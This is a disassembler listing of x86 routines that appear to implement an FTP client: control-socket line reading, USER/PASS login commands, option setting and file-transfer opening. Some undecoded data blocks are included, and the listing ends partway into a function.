		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_401A7Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		nop
		call	near ptr 77C47660h
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42DB74
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_43828C
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44742C68h, 8BE89000h, 83778092h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42DB74:				; CODE XREF: sub_42DB00+47j
		mov	[esi], bl
		mov	eax, dword_511A7C
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42DB92
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42DBA2
; ---------------------------------------------------------------------------


loc_42DB92:				; CODE XREF: sub_42DB00+7Fj
		mov	eax, dword_511B1C
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42DBA2:				; CODE XREF: sub_42DB00+90j
		cmp	eax, ebx
		jz	short loc_42DBBD
		push	esi
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		push	eax
		call	sub_43822C
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42DBD1
; ---------------------------------------------------------------------------


loc_42DBBD:				; CODE XREF: sub_42DB00+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_43828C
sub_42DB00	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DBD1	proc near		; CODE XREF: sub_42DB00+BBj
		push	ebp
		call	sub_4381EA
sub_42DBD1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42DC1D
		push	ebp
		call	sub_4381DE
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 1C681875h, 0E8004474h, 778091FEh, 4C48390h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42DC1D:				; CODE XREF: ___:0042DBDEj
		push	ebp
		mov	ebp, dword_511AD0
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 447414h, 8091ADE8h, 0C4839077h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 13E85700h,	830000A6h, 775FFF8h, 44740468h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
		dd 72046807h, 1BEB0044h, 14468h, 0E8016A00h, 777FE42Bh
		dd 83F08B90h, 0F33B08C4h, 0FC681E75h, 90004473h, 809145E8h
		dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 3CE89000h, 83777FE7h, 0C33B04C4h, 75144689h
		dd 73FC6824h, 0E8900044h, 77809112h, 5704C483h,	0A513E8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE00	proc near		; CODE XREF: sub_42F2C0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE3A


loc_42DE22:				; CODE XREF: sub_42DE00+8Ej
					; sub_42DE00+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DE00+20j
		mov	eax, dword_5103B8
		mov	ebx, dword_511A8C
		cmp	eax, 1
		jle	short loc_42DE5E
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DE5E:				; CODE XREF: sub_42DE00+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42DEDE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42DF40
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42DE22
		mov	ebp, dword_511AE0


loc_42DE96:				; CODE XREF: sub_42DE00+D7j
		cmp	dword_5103B8, 1
		jle	short loc_42DEB4
		mov	edx, dword_511A90
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42DEB4:				; CODE XREF: sub_42DE00+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DEDE
		push	edi
		push	100h
		push	esi
		call	sub_42DF40
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42DE96
		jmp	loc_42DE22
; ---------------------------------------------------------------------------


loc_42DEDE:				; CODE XREF: sub_42DE00+62j
					; sub_42DE00+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42DE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF40	proc near		; CODE XREF: sub_42DE00+15p
					; sub_42DE00+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42DF70
		cmp	eax, 1
		jz	short loc_42DF70
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF70:				; CODE XREF: sub_42DF40+1Ej
					; sub_42DF40+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42DF82
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42DF82:				; CODE XREF: sub_42DF40+36j
					; sub_42DF40+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42DFD3
		cmp	ebx, edi
		jge	short loc_42DF90
		lea	edi, [ebx-1]


loc_42DF90:				; CODE XREF: sub_42DF40+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42DFA9
		mov	edi, eax
		sub	edi, ebp


loc_42DFA9:				; CODE XREF: sub_42DF40+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42E05A


loc_42DFD3:				; CODE XREF: sub_42DF40+47j
		cmp	ebx, 1
		jz	loc_42E0AD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42DFFB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42DFFB:				; CODE XREF: sub_42DF40+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42E0C0
		push	esi
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	loc_42E0F2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0DC
		test	eax, eax
		jnz	short loc_42E03F
		mov	[esp+18h+var_4], 1


loc_42E03F:				; CODE XREF: sub_42DF40+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42DF82
; ---------------------------------------------------------------------------


loc_42E05A:				; CODE XREF: sub_42DF40+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4471F4 ; "\r\n"
		mov	eax, ebp


loc_42E064:				; CODE XREF: sub_42DF40+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		test	cl, cl
		jz	short loc_42E088
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42E08C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42E064


loc_42E088:				; CODE XREF: sub_42DF40+130j
		xor	eax, eax
		jmp	short loc_42E091
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42DF40+12Cj
					; sub_42DF40+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42E091:				; CODE XREF: sub_42DF40+14Aj
		test	eax, eax
		jnz	short loc_42E0F2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0AD:				; CODE XREF: sub_42DF40+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0C0:				; CODE XREF: sub_42DF40+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42E0F2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42E0DC:				; CODE XREF: sub_42DF40+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42E0F2:				; CODE XREF: sub_42DF40+D2j
					; sub_42DF40+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42DF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E170	proc near		; CODE XREF: sub_42DF40+C8p
					; sub_42EF60:loc_42EF8Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42E253
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42E253
		cmp	eax, 2
		jnz	short loc_42E1A5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42E1A9
; ---------------------------------------------------------------------------


loc_42E1A5:				; CODE XREF: sub_42E170+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42E1A9:				; CODE XREF: sub_42E170+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42E1B0:				; CODE XREF: sub_42E170+98j
		cmp	eax, 40h
		jnb	short loc_42E1C5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42E1C5:				; CODE XREF: sub_42E170+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_438208
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42E20A
		test	eax, eax
		jg	short loc_42E241
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42E246
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42E1B0
; ---------------------------------------------------------------------------


loc_42E20A:				; CODE XREF: sub_42E170+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E241:				; CODE XREF: sub_42E170+7Dj
		mov	edi, 1


loc_42E246:				; CODE XREF: sub_42E170+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42E253:				; CODE XREF: sub_42E170+19j
					; sub_42E170+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42E170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2B0:				; CODE XREF: ___:0040141Aj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42E35F	; default
		jmp	off_42E364[eax*4] ; switch jump


loc_42E2C7:				; DATA XREF: ___:off_42E364o
		mov	eax, [esp+8]	; jumptable 0042E2C0 case 0
		cmp	eax, 1
		jz	short loc_42E2D9
		cmp	eax, 2
		jnz	loc_42E35F	; default


loc_42E2D9:				; CODE XREF: ___:0042E2CEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2E8:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	edx, [esp+0Ch]	; jumptable 0042E2C0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E2FB:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		push	esi		; jumptable 0042E2C0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E33C:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42E34F:				; CODE XREF: ___:0042E2C0j
					; DATA XREF: ___:off_42E364o
		mov	eax, [esp+0Ch]	; jumptable 0042E2C0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42E35F:				; CODE XREF: ___:0042E2BAj
					; ___:0042E2D3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42E364	dd offset loc_42E2C7	; DATA XREF: ___:0042E2C0r
		dd offset loc_42E2E8	; jump table for switch	statement
		dd offset loc_42E2FB
		dd offset loc_42E33C
		dd offset loc_42E34F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E3C0	proc near		; CODE XREF: sub_402266j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42E451
		mov	edi, dword_511A6C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E42D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E42D:				; CODE XREF: sub_42E3C0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42E451:				; CODE XREF: sub_42E3C0+1Bj
					; sub_42E3C0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42E3C0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E490	proc near		; CODE XREF: sub_42E3C0+51p
					; sub_42E3C0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42E4B3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4B3:				; CODE XREF: sub_42E490+15j
		mov	eax, dword_5103B8
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42E4DC
		mov	eax, dword_511A90
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42E4DC:				; CODE XREF: sub_42E490+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42E4FC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E4FC:				; CODE XREF: sub_42E490+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_4381F6
sub_42E490	endp

; ---------------------------------------------------------------------------
		db 85h
		dd 681A7FC0h, 447480h, 88B4E890h, 0C4837780h, 5FC03304h
		dd 0C4815B5Eh, 100h, 248C8BC3h,	114h, 0A5E85153h, 83FFFFF8h
		dd 5E5F08C4h, 0C4815Bh,	0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E5B0	proc near		; CODE XREF: sub_401F73j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42E5FC
		cmp	edi, 4
		jz	short loc_42E5D6
		cmp	edi, 3
		jnz	short loc_42E5FC


loc_42E5D6:				; CODE XREF: sub_42E5B0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E5FC:				; CODE XREF: sub_42E5B0+1Aj
					; sub_42E5B0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_511A6C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4474C8
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	loc_42E7BE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42E7AF	; default
		jmp	off_42E7CC[eax*4] ; switch jump


loc_42E648:				; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474C0 ; jumptable 0042E641 case 1
		mov	dl, byte_4474C4
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E663:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	eax, dword_4474B8 ; jumptable 0042E641 case 2
		mov	cl, byte_4474BC
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E67D:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	edx, dword_4474B0 ; jumptable 0042E641 case 3
		mov	al, byte_4474B4
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42E6B0
; ---------------------------------------------------------------------------


loc_42E697:				; CODE XREF: sub_42E5B0+91j
					; DATA XREF: ___:off_42E7CCo
		mov	ecx, dword_4474A8 ; jumptable 0042E641 case 4
		mov	dl, byte_4474AC
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42E6B0:				; CODE XREF: sub_42E5B0+B1j
					; sub_42E5B0+CBj ...
		test	esi, esi
		jz	short loc_42E703
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42E7BE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42E703:				; CODE XREF: sub_42E5B0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42E870
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E7BE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E758
		mov	eax, [esi]
		push	eax
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E758:				; CODE XREF: sub_42E5B0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42E79F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42ED50
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E79F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BEF
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E79F:				; CODE XREF: sub_42E5B0+1B8j
					; sub_42E5B0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7AF:				; CODE XREF: sub_42E5B0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
